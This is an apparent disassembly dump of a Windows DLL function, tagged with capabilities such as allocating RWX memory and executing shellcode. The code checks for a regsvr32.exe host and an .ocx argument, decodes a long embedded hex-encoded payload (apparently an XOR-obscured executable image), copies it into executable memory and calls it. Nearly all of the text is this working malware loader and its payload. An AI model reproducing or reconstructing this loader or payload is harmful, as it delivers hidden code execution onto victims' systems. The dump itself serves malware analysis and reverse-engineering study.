Function at 0x1800019b0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r13
push r14
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
mov rax, qword [0x180058040]
xor rax, rsp
mov qword [rbp + 0xd0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r13d, r13d
xorps xmm0, xmm0
mov rbx, 0xffffffffffffffff
mov qword [rsp + 0x48], r13
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x50], r13
mov r8, rbx
inc r8
cmp byte [rax + r8], r13b
jne 0x180001a01
mov qword [rsp + 0x210], r12
lea rcx, [rsp + 0x38]
mov rdx, rax
mov qword [rsp + 0x218], r15
call fcn.1800022b0
mov rsi, qword [rsp + 0x50]
lea r14, [rsp + 0x38]
mov rdi, qword [rsp + 0x38]
cmp rsi, 0xf
mov rax, qword [rsp + 0x48]
cmova r14, rdi
cmp rax, 7
jb 0x180001a9c
lea r15, [rax + r14]
mov edx, 0x66
lea r8, [r15 - 6]
mov rcx, r14
sub r8, r14
call fcn.1800181d0
test rax, rax
je 0x180001a9c
cmp dword [rax], 0x2e726566
jne 0x180001a80
cmp word [rax + 4], 0x636f
jne 0x180001a80
cmp byte [rax + 6], 0x78
je 0x180001b0e
inc rax
lea r8, [r15 - 6]
sub r8, rax
mov rcx, rax
mov edx, 0x66
call fcn.1800181d0
test rax, rax
jne 0x180001a66
cmp rsi, 0xf
jbe 0x180001ad3
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x180001acb
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001e5b
mov rcx, rdi
call fcn.180006d70
mov eax, 0x80004005
mov r15, qword [rsp + 0x218]
mov r12, qword [rsp + 0x210]
mov rcx, qword [rbp + 0xd0]
xor rcx, rsp
call fcn.1800069e0
mov rbx, qword [rsp + 0x220]
add rsp, 0x1e0
pop r14
pop r13
pop rdi
pop rsi
pop rbp
ret
sub rax, r14
cmp rax, rbx
je 0x180001a9c
cmp rsi, 0xf
jbe 0x180001b4d
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x180001b45
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001e5b
mov rcx, rdi
call fcn.180006d70
mov r8d, 0x104
lea rdx, [rbp - 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov qword [rsp + 0x68], r13
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x70], r13
lea rax, [rbp - 0x40]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x180001b80
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x58]
call fcn.1800022b0
mov rsi, qword [rsp + 0x70]
lea r14, [rsp + 0x58]
mov rdi, qword [rsp + 0x58]
cmp rsi, 0xf
mov rax, qword [rsp + 0x68]
cmova r14, rdi
cmp rax, 0xc
jb 0x180001c0a
lea r15, [rax + r14]
mov edx, 0x72
lea r8, [r15 - 0xb]
mov rcx, r14
sub r8, r14
call fcn.1800181d0
test rax, rax
je 0x180001c0a
movabs r12, 0x3233727673676572
cmp qword [rax], r12
jne 0x180001bee
cmp dword [rax + 8], 0x6578652e
je 0x180001c46
inc rax
lea r8, [r15 - 0xb]
sub r8, rax
mov rcx, rax
mov edx, 0x72
call fcn.1800181d0
test rax, rax
jne 0x180001be0
cmp rsi, 0xf
jbe 0x180001ad3
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x180001acb
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001e61
jmp 0x180001acb
sub rax, r14
cmp rax, rbx
je 0x180001c0a
cmp rsi, 0xf
jbe 0x180001c85
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x180001c7d
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001e61
mov rcx, rdi
call fcn.180006d70
xorps xmm0, xmm0
lea rdx, str.4d5392fd5398ffeb5398f73bf3141b1b1b5392ef45d87d3514049f1b1b1b1b1b5a4c2adba2111b1b1b5a4d5a4e5a4f4e4c4d48539af7931b1b1b5396673f4353dc5f3f5b1b1b1b1be8b0dc5f3f231b1b1b1b53dc5f3f531b1b1b1b53dc5f3f4b1b1b1b1bdc5f3f271b1b1b1bf324181b1ba2480cfd6b5292ddf379191b1ba158715e855292df5392daf3b8191b1ba1f7a398ec5792faf38d191b1ba19333f24b5792fa5392ddf39d191b1b567875275e2adb5398d2e45392d853964f3f5b5796573f23561aee5a14ac5e0f5296771e035a905e4b5f906617dc5f3f331f1b1b1bdc5f3f3b1b0b1b1b5f32e3925f3f23e4cd9edb1493991a1b1b5792eb57926f3f7b5e2adb5e92e7533e1bebe4e453925f3f4353905f3f5b53925f3f73905f3f23925f3f6b5a14ac5e1d5390573f5b5f22db6d385270cb3352e4db531af190591790690f5732fb571aed531ad390510b5392dce8bff0d55a908eab1b1b1b9ec96f0992cb52904e2b5e92e257961f1af366191b1b2aed5aa55b1b1b1b5396673f4b5796673f535a14ac5e1d5390573f5b22eb149dbc1b1b1b5370dd33dc5f3f271b1b1b1b531af35f904b0b904b17905b3f5732f957924f3f4b5a92da531aca5a92db5792c95adaf2045392573f535adafa185a9afb1b1b1b5b149e921b1b1b5a92d95a9af91b1b1b3b6e775a92d85a9af81b1b1b7b5a9ae01b1b1b7b6e145392573f6f5aa23b1b1b1b924f3f67daf3045e9ec9148ed99fd96f1c5e9edb5e145ed553965f3f275292e35792e153925f3f3b5398d2e453e4dde4c8f25ce4e4e45a905e3357965f3f43a11a1b1b1b5732fb531ad3e4cbf03e5a92da5adae2045a98fa6b5a98da0bf0985a92da5adae2045a98fa195a98da19f278e4e4e4539adf931b1b1b404544465a475a465a455a44d88b5292d2a31e0e1b1b5e911a539ec96e1d5e9fdb6e0dd85e92d15a32d15222c968315e9fdb6e1e52e4daf0115a9be37b6d1f5a98f33b5a92d95e14addb52e4da5adaf91e5e1acb5f1adbf0a6d88b8b8b8b4c4d5392d5485398f73b7e53901f3e7b1b1b1b53905b035390633b5392e014ac48535390504bf39ee4e4e492db5322eb6e1d5390583bf00a539000539ec06f1e5322c46ec25398d3e45398df3b404544d85a4c5a4d5292cd5a4e5a4f4e2af64c4d485392d05398f73353785a2790a713931b1b1b531ad45f90643b5f907c075f90743f521ad42274036d2a92f52ac95a9017ac531ac2f30ee4e4e45722eb6e03531aed531ac55914ac1f3553961f9859901f3b531ac3f01fe4def0d15398df33404544465a475a465a455a44d88b8b8bf31b1b1b1b42532ac0a056411b1b53e4da7d20026eeb532adb7d905a27531ad3532ac07d9ad84b5e7d20036ec25392d3d8f31b1b1b1b435398f31ed814045b1b4d5292d05e92d253dcdde3e4e4e4485232c85632d35732d25632d05a901b9edb6f495a904b1f52964313531ad35292c2571ad95722d16f305e914a1a5a98f9eb5a9be1bb6e0a7d5e900a5a9af9e4141b1b551a070bf01d5e9fc96f1ad75298da19f0cb5392eb5732db5292db521acb521ac3f0bc4045d88b8b8b8b8b8b8b8b8b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b56418b1b181b1b1b1f1b1b1be4e41b1ba31b1b1b1b1b1b1b5b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b9b1b1b1b1504a1151baf12d63aa31a57d63a4f7372683b6b69747c697a763b787a7575746f3b797e3b696e753b72753b5f54483b76747f7e351616113f1b1b1b1b1b1b1b4b5e1b1b7f9d1d1b2d3a247d1b1b1b1b1b1b1b1beb1b35391019193e1b631a1b1b0f1b1b1b1b1b1bbb8e1b1b1b0b1b1b1b1b037f181b1b1b1b0b1b1b1b191b1b1f1b1b1b1b1b1b1b1e1b191b1b1b1b1b1bfb1a1b1b1f1b1b468b1a1b191b7b1e1b1b3b1b1b1b1b1b1b0b1b1b1b1b1b1b1b1b0b1b1b1b1b1b1b0b1b1b1b1b1b1b1b1b1b1b0b1b1b1b1bab1a1b531b1b1b1bdb1a1b0f1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1bcb1a1bf71b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b356f7e636f1b1b1b1b6c1a1b1b0b1b1b1b631a1b1b1f1b1b1b1b1b1b1b1b1b1b1b1b1b1b3b1b1b7b357f7a6f7a1b1b1b7b121b1b1b8b1a1b1b111b1b1b671a1b1b1b1b1b1b1b1b1b1b1b1b1b5b1b1bdb35697f7a6f7a1b1bfb191b1b1bbb1a1b1b1f1b1b1b9d1a1b1b1b1b1b1b1b1b1b1b1b1b1b5b1b1b5b35
xorps xmm1, xmm1
movups xmmword [rsp + 0x78], xmm0
movdqu xmmword [rbp - 0x78], xmm1
nop dword [rax]
inc rbx
cmp byte [rdx + rbx], r13b
jne 0x180001ca0
mov r8, rbx
lea rcx, [rsp + 0x78]
call fcn.1800022b0
xorps xmm0, xmm0
lea rdx, [rsp + 0x78]
xor eax, eax
lea rcx, [rsp + 0x20]
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rax
call fcn.180001840
mov rdi, qword [rsp + 0x28]
mov r9d, 0x40
mov r14, qword [rsp + 0x20]
mov r8d, 0x1000
sub rdi, r14
xor ecx, ecx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rdi
mov rdx, r14
mov rcx, rax
mov rbx, rax
call fcn.180017780
call rbx
call qword [sym.imp.KERNEL32.dll_GetThreadLocale]
mov ecx, 0x800
mov r15d, eax
call qword [sym.imp.KERNEL32.dll_SetThreadLocale]
lea rax, str.APPID
xorps xmm0, xmm0
mov qword [rbp - 0x68], rax
lea r9, [rbp - 0x68]
lea rax, str.44ec7b10_2d50_4630_ba0c_520812e2c2f6
mov r8d, 1
mov qword [rbp - 0x60], rax
movdqu xmmword [rbp - 0x58], xmm0
call fcn.180005bd0
mov ebx, eax
test eax, eax
js 0x180001ddd
mov rsi, qword [0x180058a70]
mov ebx, r13d
mov rax, qword [0x180058a78]
cmp rsi, rax
jae 0x180001db4
nop dword [rax]
mov rdi, qword [rsi]
test rdi, rdi
je 0x180001da7
mov ecx, 1
call qword [rdi + 8]
mov ebx, eax
test eax, eax
js 0x180001dc2
call qword [rdi + 0x30]
mov rcx, qword [rdi]
mov r8d, 1
mov rdx, rax
call fcn.180002760
mov ebx, eax
test eax, eax
js 0x180001dc2
mov rax, qword [0x180058a78]
add rsi, 8
cmp rsi, rax
jb 0x180001d70
test ebx, ebx
js 0x180001ddd
mov rcx, qword [0x180058a68]
call fcn.180002540
mov ebx, eax
test ebx, ebx
js 0x180001ddd
mov rax, qword [0x180059ff8]
test rax, rax
je 0x180001ddd
mov rcx, qword [0x180058dd8]
call rax
mov ebx, eax
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_SetThreadLocale]
test r14, r14
je 0x180001e1c
mov rdx, qword [rsp + 0x30]
mov rax, r14
sub rdx, r14
cmp rdx, 0x1000
jb 0x180001e14
mov r14, qword [r14 - 8]
add rdx, 0x27
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001e5b
mov rcx, r14
call fcn.180006d70
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x180001e54
mov rcx, qword [rsp + 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001e4f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001e5b
call fcn.180006d70
mov eax, ebx
jmp 0x180001ad8
call fcn.18000d858
int3
call fcn.18000d858
int3